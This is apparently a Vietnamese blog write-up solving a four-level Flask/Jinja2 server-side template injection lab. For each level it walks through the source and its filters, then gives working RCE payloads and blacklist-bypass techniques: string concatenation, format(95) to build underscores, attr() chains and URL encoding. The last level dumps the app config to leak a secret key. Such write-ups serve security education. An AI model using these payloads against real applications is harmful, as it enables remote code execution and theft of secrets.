ServerSide Template Injection (SSTI) Lab

SSTI là gì

Server-Side Template Injection (SSTI) là một lỗ hổng bảo mật web nghiêm trọng cho phép kẻ tấn công chèn mã độc vào template của ứng dụng, dẫn đến việc mã này được thực thi trên phía server. Lỗ hổng này thường xảy ra khi dữ liệu đầu vào từ người dùng được nối trực tiếp vào template thay vì được truyền dưới dạng dữ liệu an toàn.

Cơ chế hoạt động của SSTI

SSTI xảy ra khi web app sử dụng template engine để hiển thị nội dung động (dynamic) nhưng lại cho phép user trực tiếp nhập liệu vào cấu trúc template.

Thì thay vì hiển thị dữ liệu đã được cho trước thì template engine sẽ xử lý input đó như một mã nguồn template điều này cho phép attacker thực hiện tấn công với input tuỳ ý.

Tác động của SSTI

  • RCE (Remote Code Execution)
  • Đọc/ghi file, dữ liệu chẳng hạn như dữ liệu trong db, file config
  • Leo thang đặc quyền (Priv Escalation)

Cấu trúc lab SSTI

1
2
3
4
5
ssti-lab/
├── app.py # Source code chính
├── requirements.txt # Các thư viện cần thiết
├── Dockerfile # Cấu hình Docker
└── docker-compose.yml # Cấu hình chạy container

Link lab : https://github.com/pzhat/SSTI-lab

Lab Solving

Level 1:

image

Ở đây lab mình build sẽ không có nhiều features thay vào đó tập trung vào kỹ thuật và payload, đến với level đầu tiên thì ta không có gì ngoài chức năng hiển thị tên sau chữ Hello.

Bây giờ ta sẽ đi đến phân tích source code xử lý nó.

image

Tại đây ta có phần source code xử lý level 1:

  • Cơ chế: Biến name được lấy từ URL (GET request). Python sử dụng f-string để chèn giá trị của name vào biến template.
  • Tại sao lỗi: Nếu attacker nhập ?name={{7*7}}, biến template thực tế sẽ trở thành chuỗi <p>Hello {{7*7}}!</p>. Khi render_template_string chạy, nó tìm thấy cặp ngoặc nhọn và thực thi phép tính.

Ở đây nó lỗi ở render_template_string là vì đoạn này được nối chuỗi ở đây template engine nhận input khi qua đến jinja2 xử lý thì nó sẽ nghĩ đoạn bên trong chuỗi {{}} cần thực thi.

image

Ở level này ta không hề có một lớp filter nào ta sẽ thử inject vào một đoạn {{7*7}} để xem liệu phép tính có được xử lý không, nếu có thì ta hoàn toàn có thể thao túng được input.

image

Ở đây ta thấy nó trả về kết quả phép tính nên có thể kết luận được rằng tồn tại SSTI trong chức năng này.

image

Tiến hành inject vào payload để RCE thành công thực thi câu lệnh id.

1
{{cycler.__init__.__globals__.os.popen("id").read()}}

Level 2:

image

Level 2 thì nó vẫn như level 1 nó sẽ vẫn chỉ là một app hiển thị tên sau đoạn Hello và name hoàn toàn có thể thao tác thay đổi được, bây giờ ta sẽ đến với source code của level này.

image

Ở level này thì logic nó vẫn giống như ở level 1 từ đoạn xử lý template mọi thứ đều giống như cũ nhưng ở đây ta để ý ở đây có đoạn:

1
2
3
4
5
6
blacklist = ['config', 'class', 'mro', 'subclasses', 'subprocess', 'popen']

# Kiểm tra blacklist (Case insensitive)
for word in blacklist:
if word in name.lower():
return "<h3>Hacker detected! Blacklisted word found.</h3>"

Từ đoạn code này ta để ý rằng developer đã tạo một blacklist bao gồm các từ mà mình muốn chặn ['config', 'class', 'mro', 'subclasses', 'subprocess', 'popen'] sau đó ở đoạn if word in name.lower() thì ở đây logic nó xử lý sẽ là khi mà mình inject vào đoạn xử lý template nếu đoạn payload có chứa các từ trong blacklist và nhờ đoạn lower() nó sẽ xử lý các kiểu payload như cLaSS đưa nó về dạng bình thường và match với blacklist.

Điểm yếu logic: Code chỉ kiểm tra sự tồn tại của chuỗi ký tự nguyên bản trong input.
Cách bypass hiện tại trong Jinja2, bạn có thể tạo ra chuỗi từ việc nối các chuỗi con hoặc lấy từ request khác.
Ví dụ: Thay vì viết class, attacker có thể viết ‘cla’ + ‘ss’. Jinja2 khi render sẽ ghép lại thành class và thực thi, nhưng bộ lọc Python ở trên chỉ nhìn thấy các đoạn rời rạc nên cho qua, bây giờ ta sẽ test thử rằng nó có xử lý template mình inject vào không và thử lại với payload ở level 1.

image

Sau khi inject đoạn {{7*7}}response trả về 49 chứng tỏ nó có xử lý user input bây giờ thử với payload cũ.

image

Ok ăn chửi rồi ở đây chứng tỏ rằng blacklist đã xử lý payload cũ bây giờ ta sẽ thử tìm hướng bypass.

image

Tại đây mình sử dụng payload sau:

1
{{['__cla' + 'ss__']}}

Ở trong payload này tôi sử dụng kỹ thuật nối chuỗi để bypass thử và thành công, ở đây nó trả kết quả của đoạn inject thực hiện chạy được thuộc tính class và ta để ý rằng hàm class nằm trong blacklist nhưng ta vẫn có thể bypass được chứng tỏ ta hoàn toàn có thể lợi dụng cách nối chuỗi này để RCE.

image

Tại đây mình sử dụng payload sau:

1
{{url_for['__gl' + 'obals__']['__builtins__']['__im' + 'port__']('os')['pop' + 'en']('id')['read']()}}

Phân tích cách payload bypass Level 2:

  • Filter Level 2 chặn: [‘config’, ‘class’, ‘mro’, ‘subclasses’, ‘subprocess’, ‘popen’].
  • url_for: Không bị chặn.
  • [‘gl’ + ‘obals‘]: Nối lại thành globals (Không bị cấm ở Level 2 nhưng cứ nối chuỗi có chắc cốp.
  • [‘builtins‘]: Không bị chặn.
  • [‘im’ + ‘port‘]: Nối lại thành import.
  • (‘os’): Gọi module OS.
  • [‘pop’ + ‘en’]: Filter tìm chữ popen code Python thấy chuỗi ‘pop’ + ‘en’, không khớp với popen. -> Cho qua, Jinja2 render nối lại thành popen và thực thi lệnh id.

Và response ở đây ta thấy nó đã thành công thực thi được câu lệnh id và thành công thực hiện RCE.

Level 3:

image

Ở level này thì mọi thứ nó vẫn như cũ ở đây user input vẫn sẽ chạy vào name và được Jinja2 xử lý bây giờ ta sẽ thử dùng payload {{7*7}} để xem thử nó có xử lý không.

image

Ở đây test với payload trên thì nó trả về một dòng đó là <h3>No double brackets allowed!</h3> và có vẻ như payload không được xử lý nên ta sẽ đi đến với source code ở level 3 này.

image

Ở đây ta để ý đoạn:

1
2
if any(char in name for char in ['.', '_', '[', ']']):
return "<h3>Hacker detected! Special character found.</h3>"
1
2
if '{{' in name or '}}' in name:
return "<h3>No double brackets allowed!</h3>"

Và ở đây chính là lý do mà payload vừa rồi không được phép chạy vì ở đây 2 đoạn này cho ta biết rằng dấu chấm, gạch dưới, hoặc ngoặc nhọn kép đã bị chặn nên sẽ khó để inject được payload như cũ.

Level 3 chặn rất nhiều ký tự quan trọng:

  • Chặn dấu chấm . → Không thể truy cập thuộc tính (object.attr).
  • Chặn gạch dưới _ → Không thể gọi magic methods (__class__, __globals__).
  • Chặn ngoặc vuông [ ] → Không thể truy cập phần tử mảng/dict.
  • Chặn {{ và }} → Không thể in kết quả ra màn hình theo cách thông thường.

Bây giờ ta sẽ phải tìm cách thay thế đi các ký tự đã bị chặn để có thể tạo ra một payload khác.

Kịch bản tạo payload:

- Thay `.` bằng filter |attr(). - Thay `{{ }}` bằng khối lệnh {% print ... %}. - Thay các từ khóa chứa `_` (như `__class__`) bằng cách lấy chúng từ tham số URL `(request.args)`.

Ở đây ta test thử `{% print 7*7%}` xem nó có xử lý phép tính và trả về kết quả không.

image

Hướng bypass này có vẻ như hoạt động rất tốt nên bây giờ ta sẽ thử tạo payload RCE.

image

Tại đây mình dùng payload sau :

1
{%set u="%c"|format(95)%}{%set i=u~u~"init"~u~u%}{%set g=u~u~"globals"~u~u%}{%set b=u~u~"builtins"~u~u%}{%set m=u~u~"import"~u~u%}{%print request|attr(i)|attr(g)|attr("get")(b)|attr("get")(m)("os")|attr("popen")("id")|attr("read")()%}

Sau đó thực hiện url encode để có được dạng :

1
%7B%25set%20u%3D%22%25c%22%7Cformat%2895%29%25%7D%7B%25set%20i%3Du~u~%22init%22~u~u%25%7D%7B%25set%20g%3Du~u~%22globals%22~u~u%25%7D%7B%25set%20b%3Du~u~%22builtins%22~u~u%25%7D%7B%25set%20m%3Du~u~%22import%22~u~u%25%7D%7B%25print%20request%7Cattr%28i%29%7Cattr%28g%29%7Cattr%28%22get%22%29%28b%29%7Cattr%28%22get%22%29%28m%29%28%22os%22%29%7Cattr%28%22popen%22%29%28%22id%22%29%7Cattr%28%22read%22%29%28%29%25%7D

Giải thích payload :

1
{% set u = "%c"|format(95) %}
  • Chúng ta dùng hàm format của Python (có sẵn trong Jinja2).
  • %c: Là định dạng để chuyển đổi một mã số ASCII sang ký tự tương ứng.
  • 95: Là mã ASCII của ký tự gạch dưới _.
  • “%c”|format(95): Sẽ trả về chuỗi _.
  • Kết quả: Biến u bây giờ chứa giá trị _. Chúng ta đã có được ký tự cấm mà không cần gõ nó ra!
1
2
3
4
{% set i = u~u~"init"~u~u %}
{% set g = u~u~"globals"~u~u %}
{% set b = u~u~"builtins"~u~u %}
{% set m = u~u~"import"~u~u %}

Vấn đề: Chúng ta cần các chuỗi init, globals, builtins, import.

Giải pháp: Dùng toán tử ~ (toán tử nối chuỗi trong Jinja2) để ghép biến u (_) với các từ ngữ bình thường.

  • u~u~"init"~u~u_ + _ + init + _ + ___init__.

Kết quả:

  • Biến i chứa init.
  • Biến g chứa globals.
  • Biến b chứa builtins.
  • Biến m chứa import.

-> Server không phát hiện ra vì trong payload gốc chỉ toàn chữ cái thường và ký tự ~, không có dấu _.

Level 4:

image

Đến với level 4 thì mọi thứ có vẻ vẫn tương tự như cũ nên ta sẽ đến với phần source code để phân tích cho nó dễ hiểu.

image

Ở đây theo đoạn code thì cách nó xử lý vẫn như cũ vẫn là user input vào biến name sau đó nó được Jinja2 xử lý và in ra nhưng ở đây ta có thêm vài lớp filter bây giờ ta sẽ phân tích chúng :

1
2
if len(name) > 40:
return "<h3>Too long! Keep it short.</h3>"

Ở đây đoạn này ta đã bị giới hạn độ dài chỉ còn 40 kí tự, đây là lớp filter đầu tiên vì hầu như payload mình thường dùng đều có độ dài lớn hơn 40 kí tự ví dụ như payload ở level 3 nên đoạn filter này sẽ là một thách thức.

1
2
3
4
blacklist = ['class', 'base', 'init', 'globals']
for word in blacklist:
if word in name.lower():
return "<h3>Forbidden word!</h3>"

Ở đây ta lại có lớp filter thứ 2 đó là một cái blacklist bao gồm các từ :

  • class
  • base
  • init
  • globals

Cái lớp filter thứ 2 này tương tự như filter của level 2 ở đây thì ta hoàn toàn có thể bypass được bằng cách nối chuỗi nên ta sẽ chú ý hơn cách payload được filter độ dài payload bây giờ tôi sẽ test thử {{7*7}} để xem template có xử lý input không.

image

Okay chắc chắn nó đã xử lý rồi bây giờ ta sẽ phải tìm cách tạo payload mà phải dưới 40 characters.

Sau một lúc test và tham khảo thêm payload vài nơi thì mình nhận ra để có thể mà thực thi được các câu OS command thì rất khó và gần như là bất khả thi vì để thực thi thì ta sẽ phải thêm nhiều thuộc tính vào với mục đích leo thang lên từ đó có thể thực hiện câu lệnh nhưng ở đây vì giới hạn 40 kí tự nên rất khó để làm vậy nên ta chỉ có thể đi theo hướng dump ra dữ liệu quan trọng.

image

Tại đây ta sẽ inject vào một đoạn :

1
{{config}}

Để dump hết file config của hệ thống ra và nó leak cho ta khá nhiều thông tin quan trọng trong đó có những thứ có thể phục vụ cho leo thang đặc quyền như là Secret Key hoặc là Session Cookie.

Ở đây tôi tạo một file flag bí mật để xem có lấy được ra không nếu được thì kịch bản dump dữ liệu quan trọng là khả thi.

image

image

Thành công lấy được file flag ra và tương tự cũng lấy và đọc được file SECRET_KEY và kết thúc lab SSTI.